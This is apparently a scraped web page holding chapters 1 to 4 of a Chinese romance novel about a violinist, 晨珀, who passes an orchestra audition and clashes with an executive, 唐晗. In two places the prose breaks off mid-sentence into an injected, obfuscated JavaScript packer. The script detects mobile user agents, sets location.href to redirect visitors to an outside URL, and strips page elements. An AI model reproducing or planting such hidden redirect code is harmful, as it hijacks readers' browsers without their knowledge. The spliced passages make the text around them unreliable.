《分手之后》 1. 制琴师 绅士的新娘 文/南绫 七月。 阳光灼目,他从外间走进别墅,厚重的遮光窗帘让整栋别墅暗默灰沉。 他闭了闭眼,眼睛适应了片刻黑暗才又睁开,随即开口问迎面而来的黑发男性,“他怎么样?” “还是老样子,在房间的时候多。”对方恭敬的答道。 “开过口吗?” “中午时要了一些工具。” 闻言,正欲踏上楼梯的清俊男子停下脚步,“工具?别墅里哪来的工具?” “别墅里什么都没有,所以中午时我派人去他原本的公寓取了之前的那些。” “全部?” “全部。” 男子的眉头皱了起来。几个月前,他的确在电话里和他说过打算做一件礼物,可在她单方面离开后,他就再也没碰过。 别墅二楼朝北的房间内,窗帘全拢,光线暗沉。烟灰色的墙壁搭配深色系的木质地板,没有任何装饰,单调简单到近乎粗糙。 房间很空荡,一架用以摆放工具材料的矮桌,一盏立灯,还有此刻被男人坐在身下的一把方椅。 男人穿了身黑色的轻薄居家具,面容清冷,此刻正在灯下专注打磨着修长手指间的材料。他看起来比清俊男人年轻许多,露出袖口的肌肤白皙干净,侧颜的线条非常优美,浓密的睫毛随着他打磨的动作而微动,分明是个异常优雅的男人,可眉宇间却透着疏离的冷色,让人不敢接近。 当然,并不包括他。 清俊男子跨过满地废料,走至男人面前。对方许久不碰工具,动作却依旧娴熟,这是已经刻入他骨髓的技艺。 “来了?”黑衣男人抬头看他,眸色深幽,语气虽然冷淡,但相较对待其他人的态度,已好太多,“我以为你整个夏天都在布拉格。” “那里去了那么多次,也没什么好待的,处理完工作就回来了。”清俊男人无处可坐,于是半靠在矮桌旁,低头看好友继续手里的工作。 许久,两人都没再说话,直至暮色降临,之前的黑发男性送来晚餐。 临走之前,清俊男子站在别墅门口问黑发男性,“我记得今天下午应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780682|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该会有医生过来。” 后者一怔,随即道,“一周之前,医生就不再过来了。” “他的意思?” “嗯。” “医生也同意?” “他自己和医生谈的。” 片刻沉默,男子才开口,“照顾好他,有事……打给我。” 九月。 工作间里始终安静暗默,每一日,男人都坐在同样的位置重复同样的工作。 虽然知道这是他习惯了的工作,但这种从白日至黑夜沉闷而反复的单调终是令清俊男子忍耐不住。 “她不会回来了。”他烦躁的去摸烟,随后才想起烟盒被自己落在了车上,“你做的再好也没有用,她不会知道。”没有地址,没有电话,又远在地球另一端,这种方式的离开意味着永不再见。 忙碌的手指赫然停了下来,空气里有一丝凝实的冷意,许久,男人才开口,“我知道。” 他知道。 但那是她单方面的选择,并不是他的。 他会找到她。 不会太久。 2. 旧友 晨珀活到二十三岁,只后悔过两件事。 其中一件,是在少不更事的年代得罪了唐晗。 那是七八年前的事了,后来她听从老爸命令去国外留学有一部分原因也是为了躲开他。不过可惜,躲来躲去最后还是没躲成。 抵达S城的两周后,纵使她再不愿意,也不得不在老爸的电话催促下去声世报到。 声世是一家民办交响乐团,在国内,除了几大耳熟能详的国家著名乐团外,声世无论从薪资待遇、实力还是影响力都名列前茅。 声世乐团大厦三楼会客室的圆环沙发上,坐着八位神情肃穆的年轻男女。 两周时间,层层筛选,他们几人都是从数百位应聘者里脱颖而出的。 不过听说这次最后录取的乐队团员只有三个名额。 今天是最后一次筛选,众人都很紧张。 他们里面大部分都是管弦乐专科的毕业生。对他们来说无论是待遇、背景实力还是远景前程,声世都是非常好的选择。 能进入声世,便意味着踏上了一条通往国际音乐舞台的康庄大道。 会客室玻璃门被推开的时候,室内的人都齐刷刷朝来人看去。 那是个黑发女生,看模样非常年轻,感觉只有十七八岁,一张白嫩丰盈的瓜子脸,五官长得很精致,瞳仁漆黑,气质恬淡清纯。 深秋十一月,她却只穿了件米白色的长款羊绒开衫,里面是白色衬衣,下身一条简单的牛仔裤,将她匀称纤长的双腿勾勒的非常漂亮。 晨珀缓缓扫视了一圈沙发上的人,选了个空位坐下,并将手里的琴盒搁在一旁。有人看到她搁下的小提琴盒,皱起了眉。 连日来数场竞争,应聘者之间算不说话也都相互认识,这个年轻女生,并不在先前的面试名单内。 声世的门槛向来难进,三个名额,两三百人竞争,能走到今天这一步很不容易,这种情况下,空降兵是最让人讨厌的。 两位大提琴手和一位长笛手倒还好,其他几位小提琴手的脸色立刻难看起来。片刻后,几个女生开始交头接耳议论起来,会客室内很安静,就算她们压低嗓音,依旧能听到“走后门”、“不要脸”等话。 晨珀靠在沙发椅背上,半阖着眼睛一动不动。 “小妹妹,你也是来参加今天面试的吗?”一道怯怯的女声从她身侧响起。 晨珀回过头去,对上一张五官酷似男生的圆脸,对方是个留着波波头的胖女生,表情和善,抱着小提琴盒。 原本的报到变成了面试,还用这种存心想让她树敌的空降方式。她根本不用想,就知道是谁在背后搞鬼。 晨珀心情有点不好,撑着下巴随意嗯了一声,并不愿意开口说话。 对方却像是没有感觉到她的冷淡,不但靠坐过去,又再度开口问道:“奇怪,怎么之前我都没有见过你?你是拉小提琴的吧,我也是,照理说我应该见过你才对啊!” 那人声音怯怯,但性子却有些自来熟,也不管晨珀理不理自己,径自絮絮叨叨的和她说话。几个交头接耳的女生里有人发出不屑嗤笑:“你们看那傻瓜,又拿热脸去贴人家冷屁股了!” “谁让你们总不理她,她也得找个人说说话找找存在感啊!” “只可惜别人根本不搭理她。” “呵呵,人家可是关系户,会搭理才怪!” …… 压低的冷嘲热讽中,晨珀依旧不为所动。 倒是和她搭讪的波波头女生,咬着唇委屈又懦弱的辩驳,“你们胡说,我根本不是这样想的……” 这样苍白的辩驳如同落入湖面的枯叶,激不起半点波澜,几个女生连看都不看她一眼,继续低笑嘲讽。 波波头女生气得眼睛发红,耳边却传来另一道笑声。 这次笑的却是晨珀,她见波波头女生震愕的看着自己,再度冲她一笑,倒让对方呆住了。 她五官虽精美,但气质却很恬淡,不说话的时候给人一种温柔的感觉。可这一笑,那种恬淡的感觉一下子变得明媚生动起来,就像是陈列在玻璃柜里漂亮又五彩缤纷的马卡龙,绚烂可人的让人移不开目光。 波波头女生回过神,却愈发的委屈:“你也在笑话我吗?” 她并不答话,懒洋洋的拨了拨额前的斜刘海,朝另一侧那几个女生道:“你们话也太多了吧,就不怕我这个关系户等会和面试官多说几句悄悄话?”那声音绵软而清润,带着漫不经心的慵懒。 这话让她们心头一跳,虽然有点不甘心,但今天的面试很重要,口舌之争闹闹就算了,万一她真有关系,她们也麻烦。想到这一点,那几人迟疑片刻后纷纷嘘了声。 波波头女生仍有点呆呆的,片刻之后才反应过来对方是为了自己才开口的。她原本看到她不怎么理自己,以为对方嫌她烦,没想到她居然会为自己说话。 “小妹妹,谢谢你帮我说话!”她顿时感动起来,又朝晨珀靠近了些,“我叫文蕊,你呢?对了,我今年二十四岁,拉琴已经十五年了,你呢?” “我不是小妹妹。”晨珀看着她,答非所问:“我只是嫌她们吵。”这话说完整了应该是这样,她嫌她们吵,才会开口,并不是要和她做朋友才帮她说话。 不过她嫌解释费事,就只丢了一句。 文蕊愣了一下,像是听懂了,又像是没懂,话倒是不再说了,两只眼睛却紧紧瞅着她不放。 只要对方不吵,晨珀倒不介意其他事,她打了个呵欠,倒回沙发里开始闭目养神。 ### 终极面试的地点是在三楼的大型练习室内。 包括晨珀在内的九位面试者,同时进入练习室。 在声世,这样的大型练习室有很多间,每一间都配备镜面墙和隔音壁。 朝南的落地窗前,搁着一张长桌,桌子后面坐了三位年龄不一的面试官,两男一女,均在四十岁上下,见众人一一进来,依旧坐在那里面无表情。 带领他们进来的那个工作人员走去长桌一侧,开始解释终极面试的方式和要求。 刚起了个开场白,练习室的门被人推开,三位面试官投去视线,立刻纷纷起身。 来人是个年轻男子,身形纤长,穿了套黑色修身西服,那西服的下摆处绣着暗金色的花纹,让原本风格严谨的正装显得时尚而特别。 他表情微敛,五官细致秀美,薄唇轻抿,下颚尖尖,男生女相。 尤其一双眼睛,弧线极美,眼尾带着上挑的弧度,眸光微转间秋水湛湛,粘得人舍不得挪开视线。可偏偏眉峰凌厉,整个人不显女气,反而透出一股逼人英气。 “唐总!”三位面试官以及那个工作人员恭敬问好,这么一来无疑透露了来人的身份。 能让面试官如此恭敬的人,在声世的地位应该不低,众人心里又多了些紧张。 唐晗经过那些面试者时淡淡投去视线,然后又轻轻挪开。他在工作人员搬来的第四把椅子上坐下,长腿交叠,靠着椅背,示意面试官和工作人员继续。 那几个被唐晗出色外表和高层身份吸引目光的女生,在工作人员开始讲述面试方式时纷纷拉回心神,专注细听。 最后这一关,采取协奏合作模式。组合的方式人数随意,曲目则从面试官给出的两首曲子自选一首。 选择曲目和确认组合之后,面试官会给他们单独练习的场所以及六个小时的时间。这期间,他们可以借助任何方式研究练习,只是不可以离开——午餐他们会提供。 六小时后,众人回来这里按分组先后演奏,至于最后录取的人选,可能从不同组里产生,也可能从同一组里产生。 在场的面试者里,小提琴手有六位,大提琴手两位,长笛手一位。 这样三类乐器,只要分组不太离谱,一般的协奏曲都能够完成。 面试官给出了两首曲目,第一首,是舒曼的《梦幻曲》,中规中矩的世界名曲,但凡学器乐的,都练习过。 这首曲子是舒曼所作十三首《童年情景》中的第七首。曲子主题简洁,风格抒情充满幻想主义色彩,旋律婉转起伏,细腻缠绵而优美梦幻。 这首曲子并不难,众面试者听后,心下一定。 这时,面试官又宣布了第二首曲目——帕格尼尼的《D大调第一号小提琴协奏曲》。 几乎是曲目一报,几位面试者都面露惊色。 《D大调第一号小提琴协奏曲》比起《梦幻曲》难太多了,根本不是一个级别的,而且面试官指定的是技巧难度最高的《第三乐章》。先且不提曲子里那些跳跃的断奏奏法和音乐跨度极大的和旋,就说曲子本身——长达六分半钟的快板,要在六小时里和从来没有合作过 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人多和音效果也会比较好,剩下那两个拉小提琴的和一个长笛手,他们就管不了了。 当然,这也是因为那几个女生对晨珀和文蕊没有好感。她们也想看看剩下他们三人,要怎么解决这个困境。 文蕊见那边六人似有了默契,有点着急的拉着晨珀,问:“我们怎么办?” 怎么办? 晨珀叹了口气,她倒是也想去梦幻曲那组,毕竟难度低一点,不过人家明摆着不欢迎她。她瞥了眼有点置身事外的长笛手,开口道:“问问她。” 长笛手慢慢走了过来,“他们好像选了《梦幻曲》,你们呢?” “你有什么想法?”文蕊怯怯问。 “无所谓,《梦幻曲》谁都会,就算是《D大调》,长笛要负责的部分也不会太多,你们决定好了。”她是真的无所谓。 听到这话,文蕊又去看晨珀:“你呢?” “帕格尼尼那首我不太熟。”这首曲子她拉过,但因为需要极高的技巧,她嫌太过繁琐,只拉过几次,就那几次也基本没有一遍是完整的…… 这件事,那人也知道,当初她为了学校演出练这曲子时,对方还被她折磨过耳朵。 晨珀侧目去看那人,他神色自若的坐在面试官旁边,西装革履,容貌耀眼,见她目光投来,原本紧抿的唇角微微上扬,眼底掠过一抹戏谑。 晨珀懒洋洋的摸摸鼻子,虽然她对今天面试一事并不太在意,可这种被摆入陷阱的感觉真的不太好。 都这么多年了,唐晗你可真够小气的。 “既然小妹妹不熟——”长笛手很帅气的打了个响指:“那就《梦幻曲》!” 文蕊的脸慢慢皱了起来,她原本就小鼻子小眼五官长得很紧凑,如此一来更有种快要挤到一起的感觉:“可是,我们只有三个人,又没有大提琴,同样演奏《梦幻曲》,拼不过人家的。我不想输……我努力了这么久好不容易等到今天这个机会,我真的不想失败……”低声说了几句,文蕊的眼泪便下来了。 晨珀:“……” 长笛手显然很无语:“你要想演奏帕格尼尼你就直说,我不是说了我无所谓么?” “那……”文蕊噎噎的抽气,有些忐忑的看向晨珀,“你愿意吗?” 晨珀慢条斯理道:“如果你不怕我出状况的话……” “不怕不怕!我可以帮你,她也——”文蕊破涕为笑,转向长笛手时又停下来,“你的名字是?” “你们叫我露易丝吧。”长笛手说着抬头去拨头发,还没碰到发梢就被文蕊一把抓住了手。 “我叫文蕊!”她看起来有些激动,她拽着露易丝的手,又去拉晨珀的手,“你呢小妹妹?我们现在是一组啦,这回你总该告诉我你的名字了吧?” “晨珀,二十三岁。” 年龄一报,不仅是文蕊一脸吃惊,连露易丝都有些侧目,“你这张脸,也太嫩了吧!” 晨珀表示,好气哦,不过还是得保持微笑脸,“所以,请不要再叫我小妹妹了。” 露易丝忍笑点头,文蕊也有些不好意思的嗯了声。 分组完成,唐晗笑了声,身体前倾,修长食指搁在桌上轻轻交叉,朝面前的九人说道:“各位,好好努力,我拭目以待!” 3. 面试意外 众人领了两首曲目的曲谱,当下跟着工作人员去了各自组的练习室。 曲谱并不是已完成编曲的协奏曲曲式,而是根据不同器乐给出的单独曲谱,如何合作,如何简单安排演奏,也是这次面试的内容之一。 不过胜在人少,这方面不算太难。 练习室在四楼,这一层全部都是类似的房间,因不同需要被隔成不同大小。晨珀三人的练习室大约有五六十平米,原木色地板铺砌,房间朝南是落地窗,采光很好,一侧墙边整齐堆着一些椅子和谱架,另一则还有个不算太小的茶水间。 《D大调第一号小提琴协奏曲·第三乐章》是回旋曲式,音调华美,充满诙谐趣味。那些轻松欢快的音乐旋律需要极高的技巧,一般演奏这个乐章最常见的问题是——缺乏掌控能力而导致乐曲变得拖沓沉重。 当然,大量的练习可以使这个情况稍稍好转,但可惜她们现在最缺的就是时间。 文蕊和露易丝翻看曲谱的时候,晨珀拖了张椅子坐在落地窗前的阳光里,手里那叠厚厚的乐谱和密密麻麻的音符只要多看几眼,就让她有种昏昏欲睡感。 文蕊很认真,加上对这曲子熟,没多久就拉着露易丝讨论演奏安排。 简单来说,乐曲分成五个部分:主部、第一副部、主部二次重复、第二副部、主部三次重复。 比较起来,技巧运用较高的是第一副部和第二副部各自的第二乐段,旋律如河流般奔腾不止,6连音和十六分音符上下进行,急速的3连音跳弓下行,18个音符的连顿弓,音域跨度极大的和旋和飞速上行下行的3连音…… 这个部分也是当初晨珀弃曲不练的原因之一——实在难的有些变态啊! 结尾处虽然也难,但毕竟难的那部分不多,而且可以合奏,不像前面的两个副部,更适合独奏。 文蕊觉得她们只有三个人,演奏的时候气场和渲染力不够,建议不要分开演奏,小提琴从头至尾一起整曲演奏更好,长笛则依照现有曲谱,在第一副部、第二副部以及最后的主部高潮部分加入。 这是最中规中矩的方法,文蕊觉得露易丝应该不会反对。 然而还没等露易丝开口,晨珀慢腾腾的声音从一旁传来:“两个副部那里,我有点问题,有些小节技巧太高,我拉不了……” 文蕊呆呆看向她:“你副部哪个小节拉不了?”她刚问完,又紧接着道,“没关系,刚才就说了嘛,你拉不了的地方我可以教你!” 晨珀与她对视了会,觉得自己还是得说实话,“整个第二乐段。” 文蕊:“……” “噗嗤!”露易丝的笑声传来,见文蕊一脸怨念的看向自己,她打了个响指,“我觉得不用因为人少就一定要合奏,其实这首乐曲一些部分独奏效果更好,也更容易令面试官影响深刻。”她看着文蕊,显然意有所指。 文蕊轻轻撅了撅嘴:“可我们三个现在是一个整体。” 晨珀没有翻看乐谱,她虽然有些地方不会拉,但却清楚记得整首曲子:“不如这样吧,五个部分的第一乐段,都比较容易,我和文蕊可以分别独奏,五个部分其后的乐段,我们合奏。” 露易丝点头:“把难易不同的切割开分配比较合理,如果觉得单薄,合奏部分我都可以加入,不必刻板在副部才出现。” “但是,你的谱子上很多小节并没有乐谱。”文蕊显然不赞成。 “改一下。”晨珀拖了台谱架放在椅子前,从包里找出笔,准备先把长笛可以加入的小节勾画出来。 “可这是小提琴的乐谱,和长笛是不一样的!” 露易丝这时已经听懂了晨珀的话,解释道:“晨珀的意思是在小提琴的乐谱上简单配个和声,只要音调还在和弦上就可以,实在不行,网上肯定有《D大调》的交响乐谱子,拿来简化一下也是OK的!” 露易丝说话的时候,晨珀快速翻动谱子,在可以合奏的部分小节打上钩。 “这样行吗?”文蕊越听越不安。 “试试好了,只要演奏出来不突兀就行,反正有六个小时。”露易丝一直站在晨珀身边看她勾画小节,不时给出自己意见,同时用手机上网搜查乐谱,“不是说任何求助都可以吗,我们去找工作人员打印和复印谱子!” 晨珀突然想到什么,停下来问文蕊:“两个副部,你都可以独奏?” 那双黑白分明的眼睛在逆光中美得有些炫目,文蕊愣看了好一会才反应过来,随后咬咬下唇:凝重道:“我很喜欢帕格尼尼,这首曲子我花费过很多时间练习,没问题!” “行。”晨珀也是随意问问,其实当初国外汇报演出共同演奏这首曲子的几个同学里,只有她嫌太繁琐弃曲了,其他几人都不功不过的表演完毕,虽然有小瑕疵,但这曲子毕竟难度超高,瑕不掩瑜。 ### 下午四点,九位面试者准时出现在面试官面前。 面试官前面的长桌上多了台笔记本电脑,在他们进去前,几人正在关注电脑上的画面。工作人员见人到达后便让他们各自派代表抽签。 晨珀被推了出来,结果她手气不好,抽到第一组,另一组则在面试官吩咐下在旁等待。 工作人员替她们摆谱架和乐谱的过程里,文蕊一直在双手合十,紧闭双眼默念。练习室的门开了又关,上午出现过的年轻高层再度出现,看着他迈动长腿安静走来,有人心潮澎湃,也有人紧张不安。 唐晗坐定,面试官做了个可以开始的手势。 晨珀架起弓弦,垂眸看向谱架。 《D大调第一号小提琴协奏曲·第三乐章》主部,第一乐段,是晨珀的独奏。 休止符后,欢快诙谐的音符开始跳跃,抛弓、跳弓,急速六连音,重复……短暂的一分钟后,另一小提琴和长笛加入,旋律与和音共鸣,以强烈有力的间奏转入第二乐段。 第二乐段是三人的合奏。 合奏顺利,主部完成,接着进入第一副部的第一乐段! 这一段的旋律与主部的风格完全不同,双泛音主题,音色轻柔旖旎悠长,犹如婉转动人的歌剧。 这是三人合奏的部分,华丽的经过句后,乐曲进入最难的快速技巧部分。这里开始,是文蕊的独奏。晨珀和露易丝只在需要加强处以和音伴奏。 第一副部全部结束后,曲子进入主部二次重复,晨珀再次独奏。 三人虽然是第一次合作,但好歹都是专科生,又都接触过这曲子,加上几个小时的练习,从开头至主部二次结束,都还算顺利,偶尔出现一些漏拍和音准都属于小问题。 这种情况维持到第二副部的演奏。 第二副部从原本的D大调转入G大调,在练习时,晨珀和露易丝听文蕊单独拉过,因为她拉的不错,商量之后文蕊决定全程独奏,晨珀露易丝伴奏。 大概因为变调了,第二副部开始的几个小节里,文蕊出现第一个比较明显的错误,她皱了皱眉,继续拉了下去。然而很快,她左手一滑,又出现了第二个错误。 文蕊咬住下唇,视线却不自觉瞥过对面的面试官,她留意到对方拧紧的眉头,心绪开始乱了。这两个地方都不难,练习时她从来没在这里错过,这是不该有的错误! 她凝神,瞪大眼睛盯住乐谱,努力不再让这种低级错误再发生。 可有的时候就是这样,任你私下练习时再好,最后让你呈现的就只有这么一次机会,压力叠加,太过担心不要出错,反而更容易错误。 在晨珀和露易丝伴奏下的一串主音符,彻底脱离了轨道。随着不和谐的刺耳音调,文蕊整个人都僵在那里,翻飞的手指停了下来,晨珀和露易丝的伴奏显得异常奇怪空洞。 晨珀侧目看她,几乎是同时露易丝压低的声音传来:“想办法继续!” 这话是朝着晨珀说的,小提琴的主旋律,只有她才能救场,若她也停了,整个演奏就彻底失败了。 晨珀眸光轻淡的看向乐谱,之后的小节都是飞快的三十二分音符,这段她没练习,但救场不容停顿,她微微皱眉,在还未想好怎么拉下去之前手指已经自己动了。 悠长华丽的双泛音响起,她将第一副部第一乐段三人合奏过的部分拉了过来,同时将D大调改换成了G大调,并朝露易丝提醒道:“帮我和,注意变调!” 露易丝趁着还没吹笛的间隙忙问:“副部的第二乐段不要了?” “我拉不了,13个小节后G大调和弦收尾转回D调,直接进入主部三次重现。”如果可以晨珀也想把乐曲完整演奏,可是因为这部分她不负责主旋律,而且也太难,所以她压根没练,之前只练习了伴奏部分。所幸她记忆力很好,即便不翻页,也清楚记得第一副部第一乐段的每个音符。 明显的错误,然后是被替换的乐段。 几个面试官的眉头都皱了起来,唐晗抚了抚右手食指上的黑曜石戒环,无声笑了笑。 13个小节后,露易丝趁着间隙低声提醒文蕊,记得加入最后一部分的合奏。 最后的主部三次重现,原本计划就是三人合奏,需要演奏出有力而雄壮的强烈感觉。僵了许久的文蕊默默架好小提琴,终是加入了合奏。 最后一个和弦结束,晨珀长长出了口气。 三人的视线对上,文蕊在眼眶里忍了许久的眼泪终于流了下来:“对不起,是我的错,害你们过不了面试……” 晨珀被她突如其来的嚎啕吓了一跳:“……” 面试官一言不发,两组交换位置,第二组演奏《梦幻曲》。 他们没有出现太明显的错误,大提琴与小提琴交替演奏,动听优美,是场不错的演奏。 随后三位面试官开始低语交流,大概是因为文蕊的失误,《梦幻曲》那组底气十足。两个女生甚至私下低语了两句。 “哎,你说那个帅哥高层会不会钦点某人?” “说不好,但如果他真选了那组的几个,我一定要抗议到底。” 几分钟后,面试官公布了结果,声世最后录取的人是:露易丝、晨珀以及拉大提琴的一个叫钟文的安静男生。 文蕊的脸唰的变得惨白,到最后小提琴只录取了晨珀,这个结果让其他几个女生也大吃一惊。 有性格强硬的女生不服,竟真的当场问起了面试官。 三人看看她,没有说话,只是转过了桌上的笔记本电脑。上面是两个分格画面,俨然是他们这六个小时里的有声监控录像。 “声世录取新人,从来不会单单从演奏方面考量,难度技巧、编排能力、应变能力、练习时协调能力,都是录取的考量之一。你们当初选择《梦幻曲》,基础分就已经比另一组要低了。在古典乐的世界里,光不功不过表现中庸是远远不够的。” 说到这里,面试官顿了顿,脸上露出一抹玩味笑意,“而且,我们从来没有规定,你们一定要分成两组以上,即便所有人都在同一组也是可以的。” 那女生一下子哑然,分组时她们几个拉小提琴的就在刻意排斥晨珀和文蕊。幕后练习的时候,她们几个又为争论谁负责更出挑的独奏部分吵的很厉害。最关键的是,挑曲子时,她们面对帕格尼尼的确胆怯了。 谁都没想到,声世会全程监控幕后的练习过程! 在几人安静下来后,唐晗清朗的嗓音缓缓响起:“如果你们仍旧想加入声世,可以报名两周后的学习班,课程时间是两个月,两个月后,声世会举办公开赛,能进入决赛的人依然有资格加入乐团。” 高层都发话了,几人忙拉住那女生,示意她少说几句。 片刻后,从工作人员手里接过学习班报名章程的几个人都走了,文蕊边哭边取出手机,让晨珀和露易丝把电话号码留给她。 “记得我们是朋友,以后有演出时一定找我来看,你们千万别忘了我!”她的口气像是生死离别。 晨珀:“……” 露易丝:“……” 正当文蕊伤心之时,那道动听清朗的嗓音再次响起:“你叫文蕊是么?” 被点名的文蕊愕然回头。 唐晗朝她笑笑,“我看过你的资料,你的成绩很好,不过在学校几次公开演出时都怯场了。” “我……我每次上台都会紧张……”被唐晗那双漂亮的桃花眼凝视着,文蕊的脸孔涨的通红。 “临场紧张其实是可以克服的,你的技巧很好。”说着,他转向三位面试官,“不如这样吧,这次添个名额,就让她一起进吧。” 三位面试官面面相觑,高层都发话了,还有理有据,他们当然不会反对。 直到工作人员将录取通知书发到文蕊手里,她才如梦般惊醒:“您、您的意思是我也被录取了!?” “好好加油,我期待你下次的演奏。”唐晗笑道,起身离开,经过她们时,视线在晨珀脸上停留片刻,“你也不错,只是下次,希望你能把真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晨珀取出手机,点开通讯录,看着某个名字想了想,还是将手机放好,然后坐电梯下到一楼。 她来到接待处,表示自己想见唐晗。 “唐总?”那接待小姐笑得礼貌客气,问她有没有预约。 “没有,麻烦你帮我转告,就说我姓晨,早晨的晨。” “好的,请稍等。” 对方很快拨通了电话,听对话,拨打的应该是助理的座机。很快,接待小姐挂上电话,依然礼貌朝她道:“很抱歉,唐总现在有个很重要的会,如果你愿意的话可以在沙发那边等一会。” “大概要多久?” “我也不是很清楚。”接待小姐说完,便不再理会她。 晨珀想着这件事最好今天能解决,于是便去沙发那里坐下等待。 一个小时后,已近午饭时间,她再次来到接待处询问。 那位接待小姐看她一眼,又帮她打了个电话上去,随后朝她道:“唐总的助理说,唐总还在开会,但应该快结束了,你可以上去十五楼等。” 晨珀道了声谢,坐电梯上了声世大厦的顶楼。 当初在国外的时候,她就从唐羽琦口中知道唐晗去了声世,只是当时唐羽琦说的随意,她也没多问。所以,直至回国后,被老爸逼着来S城前,她才知道唐晗在声世的职位。 虽然唐家是声世的股东之一,唐晗也算半个太子爷,但上面毕竟还有董事会,他能在二十六岁做到这个职位很不简单。 她其实知道,他对这行没什么兴趣,之前和人合伙开了家电子商务公司,做的还不错。 放弃自己的公司来做一份并不是十分喜欢的工作,她有点无法理解。 “晨小姐么?”身着套装的美女助理迎了上来,“唐总还在开会,请先到这边休息室等一下吧。” “谢谢。”十五层被一道巨大的磨砂弧形玻璃墙隔成里外两块,外间类似一个展览大厅,墙上挂了很多乐队演出和得奖的照片,靠近落地窗的地方搁着一架三角钢琴。 美女助理带她去的休息室在里间入口处,对面是一小块办公区域,晨珀简单看了眼,沿着走廊蜿蜒进去,还有数间大小不一的办公室,此刻门都紧闭着,也没什么人出入。 美女助理安置好她之后就退了出去,晨珀一头歪在沙发上,再次等待起来。 半个小时后,她看了看手机,开门走了出去。休息室对面办公桌后的美女助理像是刚刚挂上电话,随后朝晨珀表示,唐总因为公事外出用餐了,可能要一个多小时才会回来,她问她还等不等? 晨珀笑了笑,心里并不意外,“唐总刚走吗?我怎么没听见有人经过?” “唐总是坐里间直达电梯下楼的。”对方仍旧很有耐心的解释,再次问她等不等。 “等啊,不过既然他去吃饭了,我也先去吃个饭吧,一会再过来,可以吗?” “没问题,可以的。” 晨珀不再多说,离开进了电梯。 ### 声世大厦外,秋光明媚。 晨珀取出手机,最终还是拨打了唐晗的电话。长久的等待之后,无人接听。 她摇摇头,懒洋洋的放好手机,就近找了家咖啡厅。她在阳光暖人的午后落地窗边坐下,要了份简餐,之后又点了咖啡,两个小时后,算算时间差不多了,才又闲晃着回了声世。 那美女助理见她隔了这么久才回来,显然有些意外。 “唐总现在空了吗?” “抱歉,刚才乐团临时出了点问题,唐总去了五楼的演播厅。”对方回道。 “你们唐总真的好忙啊!”晨珀拨了拨刘海,仍旧只是笑。 “乐团晚上有演出,唐总一时三刻可能上不来。晨小姐还等吗?” 晨珀瞅了她一眼:“等啊。”说着,也不必对方说,自动推门进了休息室。 晚上六点,唐总始终没有现身,美女助理的理由也换了几轮,晨珀自觉已经尽了人事,加上不想耽误人家下班,于是离开了声世。 交班时候,很难打车,幸好声世大厦的位置很好,出门朝东走两个路口就是步行街。晨珀决定先去吃了东西,等过了下班高峰再坐车回去。 因为是周五,步行街人潮涌动,一路走去,饭店餐厅基本都客满。不过晨珀一个人,也不打算吃什么大餐,最后来到一家生意相对冷清的牛肉面馆。 坐下看餐单的时候,她只感觉面前人影一晃,抬头时桌子对面已经多了个人。 4. 电音天后 对方一身商务打扮,西裤衬衣挺括无比,她看去时,他正脱下铁灰色长款风衣,见她目光投来,他眼眸微眯,秀丽的脸庞浮起笑意:“吃什么?” 晨珀只当没看到他,很快勾好要的餐点,叫来服务员把餐单给对方。 唐晗自动自发的朝服务员道:“我和她点一样的。” 晨珀虽然心里早有预料,但被故意刁难等了一天到底不是什么愉快事,始终懒得搭理他。 面很快上来了,红汤辣牛肉面,让她食指大动。 她全情投入到食物上,把对面人当空气,吃到一半,筷尖的牛肉掉落汤里,溅了点红汤在她脸上。晨珀伸手去翻包,唐晗的手却已经伸了过来,用指腹轻轻抹掉她颊边的汤汁。 “多大的人了,还总这样。”他语调温柔,唇角带着笑,那笑容带了抹宠溺,“这么久没见,你怎么一点变化都没有?” 晨珀:“……”被晾了她一天的人“温柔以待”的感觉好诡异啊…… 她端着碗朝旁边挪了挪,避开与他面对面的位置。 唐晗吃吃失笑,撑着形状优美的下颌侧目看她:“真生气了?不会吧,不就让你多等了几个小时。我这不都自动现身了?” “……” 对方叹了口气,语气里多了抹无奈:“你啊,做事明明可以更好,却总是不够努力。就像今天,你完全可以去演播厅找我,怎么不来?” 晨珀瞥他一眼。找到他他就会理她?他耍起人来哪回不彻彻底底的?不过这话她都懒得回。次数太多,开口她都觉得浪费。 这么些年,他总是这样,会在她没有准备的时候嘲笑讥讽,有时态度极其恶劣,事后又会特别温柔的来几句,起初她还以为他是精神分裂。 后来一次唐羽琦说破,她才知道一切都是因为她那次得罪了他,他看她不爽,整她罢了。 “听行政部的人说,你对签约的时间有点异议?”他转入正题,声音里的软意收了几分。 晨珀见他自动提及,不想浪费时机,开口道:“你知道进入声世不是我自己的意思,五年太长了,我最多待一年。”她知道自己辜负了父亲的期望,这次来声世最主要还是给老爸一个交代。 他这次没有马上接口,低低笑了声,才缓缓道:“怎么,在国外闹的还不够?以为声世也是你晨大小姐想来就来,想走就走的游乐场?” 他的语气忽而带上了嘲讽,她抬头看去,正瞥见他眉宇间一掠而过的冷意。 晨珀看着他,淡淡道:“你是当事人么?别随意对根本就不清楚的事情下定论。” 两人间的气氛瞬间变得僵硬,晨珀没兴趣继续对着他吃饭,她取出纸巾擦了擦嘴唇,起身离开前,朝他道:“我最多和声世签约两年,如果你同意,麻烦让行政部的人重新出一份合同。如果你不同意,那就算了。”她的确被老爸拿捏着,有非留下不可的理由,但这并不代表她愿意在声世待上五年。 她从皮夹取出一百块搁在桌上:“这顿我请,多出来的钱你重新点一份面吧。”其实他根本就吃不了辣,刚刚那两口不过是强撑罢了。 晨珀拨拨斜刘海,在对方那双桃花眼的盯视下转身离开。 唐晗看着对方推门离开,上挑的漂亮眼眸慢慢眯了起来,他下意识抚着右手食指的戒环,许久之后才嗤的笑了声。 